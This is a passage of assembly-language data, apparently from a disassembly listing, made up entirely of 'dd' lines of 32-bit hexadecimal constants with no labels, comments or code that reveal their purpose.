		dd 663E97A8h, 9BB5A00Dh, 0A406BF85h, 0B8716489h, 3693B5D8h
		dd 986CA109h, 0ECDD846Ch, 0D4A52AB7h, 8324C2ECh, 10092FDh
		dd 0BCD040A5h, 2DD88DF2h, 41AFD5A9h, 472EE8h, 6B2FFD0Ah
		dd 0BB3794EEh, 4D9B7087h, 6C6EDD7Eh, 0A5CC9B99h, 868BF213h
		dd 53CEB60Ah, 7C9E0B84h, 66F9E1DEh, 0FD426BE0h,	964D7D7Bh
		dd 68AA4943h, 0C30C5AD3h, 22258701h, 857FE9BEh,	503B0296h
		dd 6DA5D25Ah, 0CF4D507h, 57018648h, 0E4EE7AE6h,	0E78FAAC0h
		dd 69F853EBh, 0C0D998B7h, 83A7593Ah, 841B3E49h,	887B7242h
		dd 0C752C042h, 0AB59944Ch, 0D0AC2014h, 0BD6EADA8h, 0A3477660h
		dd 0E46D21A8h, 0A6DBE0FAh, 0F1C6E6ADh, 0B9DEF3A1h, 0FDD80BB8h
		dd 36209BF2h, 0C75505B7h, 155090A7h, 6CB0CC59h,	4F2880D5h
		dd 0C7E6AD56h, 0B5A4234h, 35323798h, 7EF9A37Eh,	3FB97559h
		dd 5C317933h, 89109312h, 19780477h, 0A941122Ch,	1E7E596Ch
		dd 0CFC2AA22h, 0EB842409h, 0BC75E406h, 1031CEC9h, 0D874E1D7h
		dd 0F134844Eh, 5D6E63A2h, 8F1FD65Eh, 0E6195D91h, 6F15EFEh
		dd 3E020C7h, 5E3D7DC8h,	0C983382Bh, 0D259D20Eh,	619A052Eh
		dd 68BF9758h, 0A2F52102h, 700ABA9Eh, 6D7C723Ch,	0BEBACC77h
		dd 3662F01Ch, 13CCCD58h, 0B5C79D5h, 7C83CDBh, 0E38776E1h
		dd 3087F6EBh, 777446Bh,	9FE33E5Ch, 0A90F70F2h, 0DB45A7E2h
		dd 51B06125h, 0A282BDC0h, 0B203B493h, 4E2DD8A8h, 0A2CFED15h
		dd 3B4378ADh, 0E6F5E299h, 315FDBA1h, 56578E59h,	0E8DCA60Eh
		dd 0D950B4C9h, 38F6EC72h, 0A93B6B4Ch, 44312CE0h, 50E2C1A3h
		dd 0EE491C68h, 0BC0DA57Bh, 8798A594h, 0E1E58488h, 56E4FFC5h
		dd 0B12EF4C5h, 31FCB255h, 0CD6A315h, 293F6BFEh,	86A060CAh
		dd 57F26680h, 9490250Eh, 0FBE2E5B8h, 0E227946Fh, 4388F4F7h
		dd 0F07D0EADh, 0C765F004h, 0D617A239h, 7D1DFB8Bh, 0B7740007h
		dd 0DE8BE87h, 0CAD43DCEh, 0D2D86222h, 463B494Fh, 27FB3E64h
		dd 1BCC5B9Ah, 0FDD088Ah, 6195929Dh, 8A9FD784h, 7B1F6209h
		dd 0ABBAFF67h, 0E8010178h, 317572BEh, 2D166561h, 0A6F446CFh
		dd 9320D197h, 0AC46ACA4h, 2ACEC087h, 28DA30AEh,	31E9D5ABh
		dd 74071EFBh, 0BE7C3AFDh, 18D710EDh, 55BB7634h,	28EC9BE7h
		dd 4E734618h, 798062F6h, 978CADC9h, 0D0F2B742h,	6A0653E5h
		dd 5F97E71Dh, 0AC10207Ah, 42541544h, 0E5C84ECh,	378C1AE6h
		dd 857C1DBh, 37BD7941h,	0D5FEEC8h, 0D47866EBh, 94DA6ECFh
		dd 2C023216h, 69086AA1h, 0DCAA6BD7h, 828D3C31h,	0CCD045C5h
		dd 74D7B3AAh, 544643D5h, 7C25542h, 389CFF55h, 0D3CD8B74h
		dd 0C1F7D5E2h, 0BB61451Ch, 9A450A55h, 0A90AA15Bh, 9EBB92BFh
		dd 801F2B95h, 604F9BCAh, 3AB54D88h, 0B2B4B811h,	0C1BFCA7Dh
		dd 9ED95404h, 2198D48Bh, 694D4B8Ch, 0A73C9318h,	0D888B24Ah
		dd 0B6925CFEh, 0C4993C26h, 0B9CB5407h, 0F54E7157h, 55C69611h
		dd 0A2F5B9A4h, 59C28999h, 465463CAh, 0A2F80B35h, 3EF11DA1h
		dd 9EFB03D7h, 25BB476Eh, 8DD6EADEh, 495F03DEh, 707A7A71h
		dd 0DD67DF55h, 0C9604D01h, 2CD6B8Ah, 11058A70h,	3C2FA82Fh
		dd 0EDC5E5CDh, 94BF3798h, 5AE21749h, 0FDCB2C6Bh, 0E742838Eh
		dd 16308A12h, 3D97C4BFh, 39557930h, 369ECA74h, 1F12FFDBh
		dd 582D54B0h, 3FEFBDD8h, 69FFBF6Dh, 0CAB9A271h,	0EFF07DC2h
		dd 0E7F09BA8h, 622F468Bh, 2A8C9338h, 5C27090Fh,	4262C9D9h
		dd 934D0563h, 0FA9C2FFCh, 6EF23396h, 0EB9AA010h, 32366204h
		dd 9E338CCBh, 1A84F0B7h
		dd 50149A9Dh, 6C16FF6Bh, 8601420Fh, 0A70CFDB2h,	0A7957BF7h
		dd 6212B16Ch, 0A16B8A89h, 5B061B7Ch, 66A13ABEh,	0FF61295h
		dd 7E195148h, 0DC1CBA7Bh, 0A2FC06B2h, 0A18BB141h, 1DAD870Ch
		dd 60BFD5CBh, 9B827F02h, 0FD4EC0CCh, 5D4E5E11h,	812C8944h
		dd 42999C9Bh, 3406BFD8h, 86866902h, 46660E4Ah, 0C1E8E761h
		dd 0DF1339C0h, 2E88654Dh, 6AC596CCh, 3414C253h,	6D6788E4h
		dd 39D68D1Ah, 0C0197137h, 2D58D7B8h, 6EAA158h, 0DBEADDBDh
		dd 0CDB89D3Eh, 0B68E94A5h, 0D249E1C4h, 0BF563C7Dh, 1A9703Fh
		dd 0CACDE064h, 2B3839A7h, 0ED421BFDh, 2709B1Dh,	21D4DEC5h
		dd 0F37CD21Ah, 7BEADD91h, 0DD861876h, 899D358h,	26F80810h
		dd 327B5A9Fh, 0E5B0D3Fh, 5C8D7BACh, 5F6B86E1h, 0FBF5159Ah
		dd 4C169511h, 0A6D42929h, 0AB380FA4h, 0EFB82CE1h, 0DAA5A249h
		dd 6FA96E84h, 0B66CBE19h, 0E7A764CEh, 0C3741A1Ch, 0DABD1655h
		dd 58D475FFh, 22551ABh,	9FB0B978h, 7A7EAA42h, 9C386D1Ah
		dd 354EE96Fh, 35B24D82h, 4769A67Eh, 5991E79h, 0DF906DE2h
		dd 0E91A9A24h, 0E019201h, 4F8AD030h, 0AEB11C1Ch, 0A3B672F7h
		dd 6026DD07h, 0B16E7DE7h, 769F7787h, 0ED99289Bh, 0CBE5251h
		dd 0F153F3A5h, 50008658h, 0E762CABCh, 38391B96h, 68ACB1AAh
		dd 0C8C1434Ch, 0CC04572Ch, 74898FCFh, 71041B12h, 9B6CB729h
		dd 0AE135DAh, 2B9EC5A3h, 3D309BFEh, 18092008h, 587EBF03h
		dd 1383C771h, 0A2F8B558h, 9F9F00EBh, 27886A57h,	4F72D746h
		dd 307E2523h, 0B5136ACAh, 0EFE45A4Ah, 6CCC4FB7h, 690FF314h
		dd 0B48C4E3Eh, 0CEBD64FDh, 0F10C22F3h, 9E8679A1h, 59858174h
		dd 837471D6h, 5C9E11BCh, 2573A7C5h, 278DCBA8h, 0E7794F51h
		dd 69DB24FCh, 0D837FD1Ah, 53697DF2h, 0B65CCFF3h, 249CF18Fh
		dd 0A65B3716h, 8B942FFFh, 6466AB12h, 92289875h,	896D4E7Fh
		dd 2D375AA5h, 0F96E1229h, 0A76A52F3h, 7A066710h, 3A2F7906h
		dd 0B59D1930h, 30C36516h, 967D6D93h, 0AE9F0106h, 0AD0D9784h
		dd 0F5391B07h, 0EF752F1Eh, 2A84D66Eh, 15A1A518h, 0FB8A91CFh
		dd 496642D5h, 766031Dh,	9919F223h, 4D93C1D8h, 2A6F964Ch
		dd 0C8B57162h, 0D60B31DFh, 2A67FCDh, 1289E659h,	0C170C6B9h
		dd 0CB97879Dh, 3036E5E7h, 0ECDA22B7h, 18BBA479h, 0A90F96A4h
		dd 644BC4E9h, 496DBF64h, 0C4D69FDCh, 0BEAF7CBAh, 5037BE5Fh
		dd 7C832E70h, 72B95C45h, 35A30F9Fh, 0FB2B69F2h,	811A3729h
		dd 673C8B78h, 2E4418C2h, 4ECDCF06h, 6324F834h, 0D661124h
		dd 3EEE3ACAh, 87BC6989h, 8AA4988Bh, 4F921CE2h, 0C3A7F92h
		dd 0DC65A6E7h, 795238DBh, 0EE878291h, 301BE255h, 7825EECCh
		dd 66D02544h, 0D931DAF4h, 7119D8C0h, 9FBD2962h,	7BC4BCCFh
		dd 0B61ACF96h, 8AED832Dh, 0C0ADF183h, 251BCA30h, 0C8448CCBh
		dd 2A9FC120h, 0E216A2F2h, 5706CD7Bh, 7EB52EACh,	174A0193h
		dd 7FEAAD3Ah, 567D138Ch, 4D3E44A9h, 10FA1FAFh, 0E4D43D2Bh
		dd 110A9793h, 76C46EF8h, 79C960A7h, 1DB58A7h, 2FE1AE79h
		dd 3639B8C0h, 0FC19CD5Ah, 0CE1070F7h, 6CF8AC44h, 379D5A5Eh
		dd 287D1811h, 0B6BAA2C3h, 44C08BABh, 283B0A50h,	0FA2EDEDCh
		dd 719CBCBEh, 5C07C9F6h, 0EB18B6E6h, 77FDF9F4h,	10FA9ED6h
		dd 32E4EDB2h, 9BCE6C90h, 5D792597h, 6B89798Bh, 0CA352EB1h
		dd 74113500h, 0AFB57443h, 15A9D205h, 93C82DD2h,	0A4524050h
		dd 52AE243Eh, 0B0BF343Dh, 0CE2524C8h, 6546058Ch, 0E23EACD6h
		dd 25119103h, 0F4836170h, 0BF30A146h, 6B95EBEFh, 77AE4A12h
		dd 77F0CBA0h, 1745BC9Ch, 5A8A5046h, 6732F08Bh, 95AD38B5h
		dd 0ABE1A60Fh, 0B6AEE27Dh, 92EBD477h, 0F89C1BC9h, 0E2DA3CB2h
		dd 76250745h, 0CEFE9C18h, 432AF9C4h, 0AEF0DAC3h, 3A0ED85Eh
		dd 2B667D68h, 0C0BD3318h, 688435C2h, 43CD057Eh,	0E317061Eh
		dd 0BFC9F0ABh, 6709F117h, 134CBC1h, 57C54919h, 23DE495Dh
		dd 195E63D2h, 6FFDAF25h, 0BE0B37FBh, 57EBED31h,	8005A663h
		dd 0CF1F218Bh, 5E43A7B3h, 8C4C92EAh, 5F6D9259h,	0C81A854Ch
		dd 234614E0h, 0E706833h, 0A7137420h, 5777892Eh,	852369BFh
		dd 59FA4DFh, 9142AF6Dh,	76CBE101h, 0DF512C13h, 0AE53DD19h
		dd 541C5DC3h, 4AAD9F8Bh, 0BEBF0F8Dh, 8F8D7050h,	20C18944h
		dd 971072DDh, 0B6F3D618h, 9377532Fh, 8D7DE157h,	14EA2C22h
		dd 0CDC4F75Eh, 0A1B470B1h, 75693212h, 0F46901Ch, 0D7AFC968h
		dd 0E543C8E6h, 0D288A585h, 0E093AC2Eh, 0FBD98350h, 4A7BF3FAh
		dd 1F80F591h, 86639BA2h, 0A81F8BECh, 1FD637A0h,	589FD79h
		dd 820F7233h, 70E0D9D1h, 2FA9DB4Fh, 6B3F8185h, 3A64967Bh
		dd 0E6391AA1h, 0FEF55030h, 0CB4D7F55h, 0DE606005h, 0AFACF261h
		dd 905EEA91h, 0ABE0D7B8h, 0D9DA7DA8h, 0B20DAAC6h, 1F23B8B0h
		dd 29D55F10h, 3B98C2EFh, 0F26A3700h, 0F40A113Ch, 243DC755h
		dd 28A2AE34h, 35A9F6F2h, 73124961h, 5E3E6D31h, 55B57599h
		dd 0AB58F954h, 0CBBCC7ABh, 24F544A7h, 0E7101EFFh, 0F98BBC25h
		dd 0E9488748h, 30EBD4A3h, 127E0EF0h, 4767C840h,	21E3AF67h
		dd 2D486BF7h, 3F2D4081h, 0F570AE8Dh, 113D21EDh,	49E69510h
		dd 855D4177h, 79A0A27Ch, 45D74E35h, 0F51A785Bh,	0FE538F0h
		dd 15287C6Ah, 1011CB53h, 0A4D9E771h, 0E945A8A8h, 1C048620h
		dd 8BC942F9h, 0C0EC8EA0h, 0D3B59B97h, 93760841h, 7F6C08F0h
		dd 19FBBB64h, 22FD10C9h, 0EA7E684Ah, 4ED0BA71h,	9A73CA4h
		dd 0EFB4AC6Dh, 0EAC749C6h, 0FB9BE418h, 11F94742h, 632A3C3h
		dd 0EC83E761h, 0B75C2AA5h, 278BFE58h, 5F90EA1Eh, 76A5A0Dh
		dd 75397205h, 9AAABD3Eh, 0B70C5C67h, 755872B5h,	52B87B56h
		dd 2A003B82h, 0B8FC9FD2h, 0F42AD8F6h, 2B11DEAFh, 0B7B2BA7Ah
		dd 0B602FA59h, 0C82783AAh, 0F8938A3Bh, 67B5EDC0h, 8132FA66h
		dd 0AAA89A61h, 0F42AB50Bh, 0C9AED988h, 92C10A7h, 29FBD41Dh
		dd 0CB623A92h, 0D7D7A402h, 39ED1693h, 0A2E5059Eh, 585BD02h
		dd 0B3F94203h, 8B2B7619h, 78A1AFACh, 0A0696E9Ch, 0EC121288h
		dd 0BBAB5A82h, 0A2E639B8h, 5D6BC371h, 42B57783h, 8D66BD00h
		dd 51B4484Ch, 19BF49F3h, 52DD8519h, 2A69FDE1h, 0B29451D5h
		dd 515A5C3h, 7D9C27DFh,	0A2C8927Ah, 0DC2BB15Dh,	2D2ADCEDh
		dd 0D6D2CB5Dh, 20FAA073h, 9FD8E5B7h, 9959F435h,	9FE8D62Eh
		dd 4FA06BFDh, 0A7DDE215h, 0A96D647Bh, 85EC1168h, 824B18ABh
		dd 0B5D41CC0h, 96260022h, 395E4143h, 0B957D2A0h, 44E1FF5Eh
		dd 9E50921Dh, 434E973Ah, 81A6AD5Bh, 32B4321Ch, 0B247AF6Ah
		dd 181B84FEh, 9FB594Dh,	43157B5Ch, 714D9FE8h, 3085E0E2h
		dd 2522DF1Fh, 0E79DC1D4h, 0AA7C657Ah, 8E046B61h, 58D92B20h
		dd 0A71F2610h, 7A93A1CDh, 0EF24D8C1h, 59DB7ECFh, 0C7F06F85h
		dd 91078222h, 667C1669h, 1C4D9C23h, 2D773AF0h, 7D21F2AEh
		dd 5DEDCD8Ch, 4E15F94Dh, 0E6645B47h, 0B6A21015h, 2AECF9A3h
		dd 3D5828DBh, 0B45FCB8Fh, 3ECC57EDh, 3AB609CAh,	95EEDAB8h
		dd 142BC442h, 8A4BD1B2h, 0F7C48FD3h, 0D3788B30h, 452A379Fh
		dd 0DE9C0886h, 7885E6F6h, 485E9F92h, 0EB228A73h, 6D0FF939h
		dd 27C9AF9Ah, 3E5C83Ah,	6375F211h, 0B93FA39Bh, 0DF744E70h
		dd 2F6FF45Fh, 6BDCB9F4h, 4C817983h, 0E88CADADh,	5D61FB99h
		dd 8973F620h, 6EB82F3Ah, 66FEC5B5h, 0EFB531D4h,	0EBD53918h
		dd 1011A305h, 62C7423Ah, 0C5E8620Bh, 0AF6118C4h, 0D950C535h
		dd 83B0BF0h, 0BB277A91h
		dd 8B428BDEh, 0E7E06B38h, 0B4B6B4D4h, 60D80468h, 7641C5A3h
		dd 63652E69h, 9CE9AE1Eh, 21CD77F3h, 59C3AC53h, 0E7878365h
		dd 0AD57B5C8h, 0E680A04Ch, 0FDC4D7BFh, 2C2F9C30h, 1260F08Eh
		dd 0C91327CAh, 0AAD5F785h, 706064F4h, 8A359DA7h, 2541F49Ch
		dd 853D1C92h, 6989E50Ah, 9042A549h, 173C8A72h, 0E9DD9941h
		dd 58E5C547h, 71DBE3C1h, 0B02505CFh, 2BF28E91h,	0CF52F65Dh
		dd 2809561Eh, 6A0CF33Eh, 0E39ABED6h, 0BCFCDC0Ch, 0A9DFAF74h
		dd 0C93A480Ch, 2C575F4h, 7084D480h, 0B97AEF75h,	9F9A3C7Ch
		dd 0D1437DEBh, 0EFE4D3DCh, 942BE7EFh, 70842D9Fh, 6C13ABD6h
		dd 0D313BBDDh, 0EB0099C8h, 902A31DEh, 59B6019Eh, 831FF692h
		dd 1B91FA4Ah, 709B9B4Fh, 754E2B38h, 0EA3EE580h,	37D5F48Fh
		dd 3778D89Eh, 904AE816h, 0FCC45AF4h, 9BFF04CDh,	0D4EFF30h
		dd 69B5C810h, 0C6D52610h, 53CAB213h, 87B641C6h,	717FC9F3h
		dd 0C786D475h, 663C7A23h, 519692F4h, 2E0CD836h,	10F44875h
		dd 14920A4Bh, 0AC870A8Dh, 0F635FC69h, 65D1E554h, 89CB604h
		dd 0EEA21587h, 5DD19DF6h, 58D48E95h, 258828F5h,	0A8A8C29Ch
		dd 90B4DDA9h, 75B26EBFh, 1FF7B0F9h, 1C2DC9BBh, 0EEB014FBh
		dd 6700BEF9h, 0BD13E3F9h, 0FBF9A145h, 784DBE96h, 7DD368BEh
		dd 0AF183EFBh, 19785956h, 66CBB0CDh, 0B4BF0F0Ch, 0C1FB059Fh
		dd 8F8835FAh, 481A35E1h, 711B894Bh, 70663BF9h, 95511910h
		dd 258F66E5h, 3E3D66Fh,	6F3D150Bh, 0EB755F48h, 4365A007h
		dd 0F5A9997h, 56EEAB38h, 0C33E4720h, 799B27F6h,	0EE05B206h
		dd 0D47F7855h, 8C3C1D54h, 189C1B2Eh, 125733A4h,	80A5EEFDh
		dd 0C87E2649h, 38DD019Ah, 693F11CAh, 0A3B101EBh, 9D3BC2EBh
		dd 980E5308h, 6854EEF1h, 368EBA24h, 0C38BD9DAh,	0BAC1AA67h
		dd 316CCC2Ah, 18D89D2Ch, 756B5AEAh, 5C7D6CA6h, 83C740A1h
		dd 0B6D70EFDh, 7D0B6B9Fh, 7242663Ch, 0EDC5B2DEh, 689BB30h
		dd 9591FDA0h, 0F79E59A9h, 1E4358A3h, 6715A6EEh,	3CA1369Fh
		dd 0D02DA06Dh, 0B526FDE4h, 0FDDC5A12h, 4B43F01Ah, 0CE6C897Bh
		dd 383B4D60h, 0D9992C2Eh, 0B9732333h, 0D50D801Dh, 9A0DAC9Ah
		dd 6DA2D5F2h, 7EFB2E77h, 3C3F7850h, 3775DC02h, 7E7443DCh
		dd 0B5221CD0h, 0C8BEB188h, 0CD6F9749h, 4EE3A9DEh, 57226D24h
		dd 3C3CF602h, 1226346Eh, 37D47EFEh, 0B51A26B7h,	6A1E213h
		dd 9B36E27h, 41B208EFh,	0F3A65E0Ch, 70D52FC1h, 0E05780C6h
		dd 8D248903h, 0BE388973h, 5764175Ch, 4B36ABD3h,	0E3EA48D8h
		dd 0ED5E7543h, 525481D8h, 0F676ACCEh, 3FCE0C42h, 0D02D8BD3h
		dd 0D981FEC8h, 0FEC93D63h, 96DBCE7h, 0BF445502h, 9A619175h
		dd 46E08F86h, 0C1D43B9Fh, 0ACBB7A0Fh, 0CDD3FD89h, 7C16A438h
		dd 493711A4h, 135E0A67h, 2644026h, 11ECDC00h, 0E2E51C73h
		dd 6E1D9559h, 0A3CD513Bh, 46D63090h, 79989E41h,	8E0F28E1h
		dd 0DA002B4Ch, 57DA21AFh, 0F8E6E103h, 24598F08h, 0C53A3268h
		dd 0D7D5C9A7h, 3B228748h, 0DB9D8150h, 98F8E9AAh, 0EEC75BCEh
		dd 561280CCh, 48B5C9FCh, 2495E065h, 0A905D3FAh,	324EF187h
		dd 36DB28D6h, 303E5E95h, 0B893015Ch, 63613ED6h,	1C0033F0h
		dd 0E2D6E444h, 54679A9Bh, 5B9D23B2h, 85F5C357h,	34C22054h
		dd 0B687711Fh, 0B9595416h, 0C3275B84h, 9DAD745Dh, 0B6F1207Ch
		dd 5A4FFA7Bh, 0F29127F7h, 925CAB8Eh, 0B27EC056h, 0A6AB48C4h
		dd 5FAC091Ah, 0B03A7F37h, 36405302h, 0DFC9D570h, 6469C068h
		dd 0E8C281A1h, 3B643711h, 0CD830E99h, 6B75A115h, 0B6345E2Bh
		dd 0AC04139Eh, 9C158AA5h, 7203C8BCh, 93577FD2h,	0FB73935Ch
		dd 387A2BFDh, 76E1E090h, 942F4AFCh, 587C724Ah, 595DFB71h
		dd 0EA73D0C7h, 0E556A9Bh, 1BDA36D1h, 0E2FF9619h, 8D873220h
		dd 91EEE0F3h, 30581031h, 33097AFEh, 6B196964h, 0E5747083h
		dd 1067FEFCh, 19484E03h, 0E07D0330h, 0A29C4301h, 521E46D0h
		dd 3EC2AE56h, 20D35C5Ch, 8552FD0Ah, 0C10A5DC8h,	16804986h
		dd 0DED3A5B7h, 4E39F18Ah, 0D264D8D6h, 0AFBEE4E3h, 7D554BE3h
		dd 15CC3D66h, 6400FEA8h, 0E6882838h, 4AD87BCh, 0AA07E843h
		dd 0E9869C84h, 0A6AD434Dh, 0D54DF34Bh, 866F32A8h, 75F2185Eh
		dd 6BDC10B0h, 224307FBh, 99C2C3DEh, 7E6CAA51h, 751ACB22h
		dd 0B2C4AF3Ch, 5F053A47h, 2E553C47h, 845CEE3Dh,	0F1FB0498h
		dd 66D53A29h, 37331B28h, 48DC9A85h, 42D39085h, 0E0896B55h
		dd 3D061BA4h, 30A20131h, 1C01CBA0h, 0BCBBB8E2h,	0C188E178h
		dd 0ED12292Eh, 0DB6E41ABh, 0E0ADC48Bh, 5E1327E6h, 0CFA808B5h
		dd 83B18EB1h, 8B331981h, 53CC37A9h, 1AB8F997h, 65E71841h
		dd 0FA9BFBBAh, 73E5CBAh, 0C68E366Bh, 6639A225h,	4D973F74h
		dd 0A3475B06h, 51EB8A39h, 0CE47647Dh, 2DC90B3Ch, 0CEDB084Ch
		dd 0A95BEF39h, 49FE955Fh, 0DDD9A707h, 3F907B8h,	0BE9109CEh
		dd 81C67829h, 42F5287Bh, 14E0FEC7h, 67C3B5ABh, 0EC41DD87h
		dd 47278F12h, 0BE2811F2h, 0F8B2FB73h, 5F01A8A3h, 0D0F98812h
		dd 0AA7234F1h, 9D425FFEh, 0FF83961Bh, 0D74BE94Eh, 3A97DF43h
		dd 0D0F911B9h, 5B61C051h, 806F1080h, 7858C5ABh,	0F8BC8EEAh
		dd 2FC3885Dh, 0DFE7B7E1h, 4F16D6AEh, 0C2471807h, 69247B90h
		dd 0D91B82A4h, 3B6E1B60h, 0B9C909BBh, 4F559541h, 3A30639Bh
		dd 53084F27h, 0CAB55A9h, 0DBC6ECBAh, 0E403978Ah, 0D0489Dh
		dd 0D51FF25Dh, 1C8C562Eh, 2C911F40h, 0B049B355h, 1D0B4504h
		dd 0CC2455B4h, 56E0878h, 34EA4B63h, 18ABE2C4h, 0EBAC5A76h
		dd 7E0ADE63h, 4B4AFA32h, 8395FE15h, 20304793h, 0BE0D54AAh
		dd 0A8375E2Eh, 256AEF41h, 5CCB2F2h, 840CB581h, 0FAFFB4h
		dd 0F7046081h, 0A757D061h, 0CD112262h, 7401BE37h, 107A7853h
		dd 0BD4A0C51h, 0B688AE06h, 8EE9DD96h, 0D3694BA6h, 5AF0D2CFh
		dd 6BC7181Fh, 0C7CCBB1Bh, 0C95015E0h, 340806E9h, 201D0CC7h
		dd 0F2C1E0Dh, 1FA5CF56h, 0E388235Dh, 0FC42EEC5h, 0E9BE94A6h
		dd 917D8895h, 0F0681DBFh, 14497DF1h, 6E9D1D8Ch,	6F462C26h
		dd 0FF9008DCh, 2E92082Ah, 0A5F6AF60h, 3B2E9E7Bh, 0FCDE62ECh
		dd 51A73D3h, 98B00847h,	0F66DAC03h, 0A3BF5DE2h,	0CC21A99Ch
		dd 39A9B549h, 316CA0FCh, 18B0A7A8h, 21BF9FBBh, 3AE50B0Fh
		dd 0E321C943h, 0C90E89C4h, 71F21AD0h, 7C44492Ah, 358239B9h
		dd 3B9B777h, 28CFEBFCh,	22CBDCEh, 0AD69BAh, 0BD9F9E64h
		dd 33D36867h, 96C6E31Fh, 0E2E1D475h, 0DC1B4001h, 1C2AA18Bh
		dd 8DAE8497h, 3054C6B4h, 313DA32Fh, 0BA295130h,	0E8CF41E4h
		dd 0F914797Ah, 0D4624F21h, 6F2529B5h, 0E3EEDF48h, 6AD13021h
		dd 53B42696h, 733B5F7Bh, 0EED37CBEh, 2EA9C72Dh,	0E7D93D5Ch
		dd 8D7F275Ch, 8DD1E10Fh, 22A3B5F4h, 2A155D65h, 27E309C8h
		dd 4DE5554Bh, 848EC7DCh, 24B8383h, 0A6F51919h, 8BA7DB14h
		dd 1E692C1Fh, 0DCEE7417h, 0DB715D3Fh, 5975335Bh, 6732592Dh
		dd 0DB05D8E7h, 0BB7D6D0Eh, 0CA943E3Bh, 8260608Dh, 0BF8CD9C4h
		dd 1D84BF82h, 0CAA30632h, 12EEBDD7h, 0A0D6E57Bh, 490DD8D4h
		dd 41368964h, 7D96D18h,	71A76D5Fh, 1A64693Ah, 97BA52Ah
		dd 6A76FE2Eh, 316990DEh, 15078E61h, 21C85CD9h, 117E60DAh
		dd 146CE541h, 0B0AE24Dh, 0C88FC131h, 0A0FD1731h, 0A0DA9CFBh
		dd 1686F5FAh, 5C9CE685h, 380C89EDh, 851FE9FEh, 0A055E2D9h
		dd 9608511h, 2C10D9E2h,	0AE542034h, 249B997Ch, 0D02DB54Bh
		dd 2DBB5A18h, 0ADF10C0Fh
		dd 1D4C1384h, 283D127Bh, 1C4DCA72h, 3183045Eh, 8CE5315h
		dd 0B98F0E98h, 0B74F2A49h, 6214A6BEh, 9258360Eh, 0F8A7E13Ch
		dd 0C77C4B6Ah, 0F407AA38h, 0BE9E27FAh, 5346C12Fh, 0C1E823A9h
		dd 83B1A6F1h, 6F229108h, 0C8E8DB83h, 0CE9E8EBBh, 0BEC5E9h
		dd 974FE4A1h, 0F94FADBDh, 5E418D47h, 0A2EA48CEh, 0DE2ABB4Ch
		dd 4FD8CF3h, 6FD8EBC5h,	39C4AC6Eh, 69CD92E1h, 5A1AF45Bh
		dd 6D154C33h, 1463A4C5h, 4B5E867Eh, 95006B8Bh, 21592604h
		dd 0D59E0076h, 706C5FE7h, 0E5E0C731h, 0D8AE3A14h, 0C05B910Ah
		dd 2B48CBF6h, 877EF2CAh, 0F6CC9609h, 119275BEh,	0F2D4D472h
		dd 0E904C071h, 418D700Bh, 0BC7D3C9h, 0A67B7226h, 91E8E49Eh
		dd 0D56BD9C3h, 0AB2BBDA6h, 0F32299AEh, 923F703Ch, 10AB0208h
		dd 7FC39C72h, 57AACB87h, 0D976BEh, 858D194Eh, 3C5B6F05h
		dd 0CF41C0AFh, 45477B30h, 4614AE22h, 0E9EE5042h, 0FA7A9808h
		dd 0A5B3F239h, 0B30EAE27h, 8572D611h, 455ED408h, 0F225188Ah
		dd 1CB5DE09h, 635660A8h, 903761C4h, 4AB2695Fh, 2900787Ah
		dd 0C5870E18h, 22A636D3h, 0D9D7E4BAh, 4FC225D5h, 9F40981Ah
		dd 269F9E66h, 717845FDh, 55535568h, 0B0A8E435h,	8CA066FAh
		dd 41777E21h, 916FB167h, 3E3865E1h, 0F8ED3110h,	26E95E1Dh
		dd 84F6011Eh, 0F235B591h, 6393DEDFh, 0F27B43Fh,	2CBA48DEh
		dd 0F4E4B186h, 3F8BA56h, 0FE914F07h, 54B0D043h,	88916F14h
		dd 2C94CE17h, 0B3CFD532h, 50351927h, 9FD29158h,	0E96498F9h
		dd 8380DCCh, 0D8834216h, 2672A6E8h, 8D2C9F39h, 756FB8C1h
		dd 0F70A07E1h, 9C56EC3Ch, 0F55C2ED3h, 0D7698FF5h, 9762F006h
		dd 74DB9B8Fh, 389B9598h, 8D678C8Ah, 786FC93Bh, 0B6C6CDE5h
		dd 7E464A29h, 0D04248ECh, 7020D812h, 5DB22521h,	0D129519Ah
		dd 0EFE77E87h, 2756CF2h, 7CCAFA81h, 0EDD13F57h,	9074D131h
		dd 8F35FCD8h, 70F5FD7Fh, 377C137h, 7AB135Ch, 0DB43EC19h
		dd 424D1FC6h, 89D1A0EDh, 15BF474Eh, 521CD8E1h, 0DCB0B64Bh
		dd 5D545168h, 0FB65C024h, 21CDF351h, 812F4C84h,	0A7CC3CA5h
		dd 0A2203413h, 0F554AB72h, 0E007DB2Fh, 96CC10ADh, 0A62304E8h
		dd 56B36072h, 0B0A302F2h, 0A40FC9D7h, 0D077F8C7h, 4467FFCh
		dd 0A5535188h, 313B4866h, 0C370A978h, 7E2C1E9Ch, 0FEA5602Eh
		dd 6CB49436h, 0F6A17E21h, 9A7A2035h, 9616BC03h,	49CAEF97h
		dd 16A6BD87h, 1E67DF47h, 4E33071Eh, 0DF77BCE6h,	7BB7A8BDh
		dd 2E61236Ch, 0B8D4F7F2h, 15841B41h, 0C01BD80Eh, 1E546209h
		dd 0F1B25599h, 0AB76E19Ch, 598C096Eh, 0EC434E83h, 0F2286966h
		dd 0AE3F9E4Bh, 84024837h, 0A1A7C75Fh, 7694E5C1h, 9D5CD037h
		dd 4EF0DF5Ah, 0F399DE5Ch, 84279F9h, 93912B24h, 0F0553DB3h
		dd 394D50DFh, 589CC733h, 0C5FEC93Ch, 840CEA27h,	9A07C779h
		dd 0F6156FF7h, 5816D032h, 284A2FD5h, 1F1033Eh, 50474135h
		dd 0B9A14B81h, 3B4C1B17h, 0CDB148D1h, 0ACFED659h, 7ED5AFE0h
		dd 87E7DD2Bh, 86218B22h, 91B8C37Eh, 0EF058B8Bh,	0FB6579C9h
		dd 694B4F1h, 0EE589737h, 3F8D62D8h, 1FE688B4h, 90EE9BC6h
		dd 0D730F5E8h, 4CC8B87Dh, 0CFC6916Dh, 0D37A02B2h, 0BC571D84h
		dd 10D5CD8Dh, 0A90C8C77h, 49BAF461h, 657B108Ah,	0AF2E1733h
		dd 0D8E0CA29h, 66DADA92h, 216E862Dh, 8F6087CAh,	0A32B9A56h
		dd 43267A87h, 2FCA6D36h, 0D0502C82h, 698D7608h,	912CC3B3h
		dd 823F3D23h, 1CBE36F6h, 0F31537C1h, 0EEA9FDCFh, 772E140Fh
		dd 0F0DEF77Bh, 6B526192h, 11A6016h, 0F416BB2h, 24805CE7h
		dd 0DD262353h, 0A5DBB1A2h, 0AA918BA7h, 0AE8F007Ch, 9959F17h
		dd 3E41A752h, 7F14F39Dh, 8DF9D86Ch, 0A22C565Dh,	0FC07D1Eh
